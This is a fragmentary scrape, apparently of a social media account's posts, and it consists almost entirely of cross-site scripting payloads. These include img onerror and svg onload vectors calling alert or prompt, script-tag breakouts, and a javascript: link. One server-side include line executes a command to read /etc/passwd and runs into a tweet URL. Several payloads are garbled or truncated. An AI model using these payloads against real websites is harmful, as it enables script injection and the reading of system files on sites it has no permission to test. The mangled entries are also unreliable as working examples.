norwin_boniao

test 2018: http://<div style="font-size:24px;background:red;color:white;width:100%;height:48px;line-height:48px;text-align:center;">"><img src=x onerror=alert(document.domain)>Uh oh!</div>

via @ghgg

"/><img src=x onerror=prompt(1)//</textarea><ScRiPt>prompt(/920065/)</ScRiPt//"/><img src=x onerror=prompt(1)//<!--#exec cmd="cat /etc/passhttps://twitter.com/norwin_boniao/status/720724596563906560 …

</script>"><svg/onload=prompt(123);><script>alert(1);//"

">">">">">">">

</script> ”><img src=x onerror=prompt(document.domain);> <script>

"><img src=x onerror=alert(document.domain)>

["><img src=x onerror=alert(document.domain)> ]

</script//">"><img src=x onerror=aert(2)>

</script>hello xss issue here <script>alert(1);//"><img src=x onerror=alert(document.domain)>

[Click here](javascript:alert(1))

<script>alert(1);//

</script>hi

XSS") ;</script> <img src="<img src=search"/onerror=alert(document.domain)//"> "><marquee>

https://d=\"alert('XSS');\\")\";

test22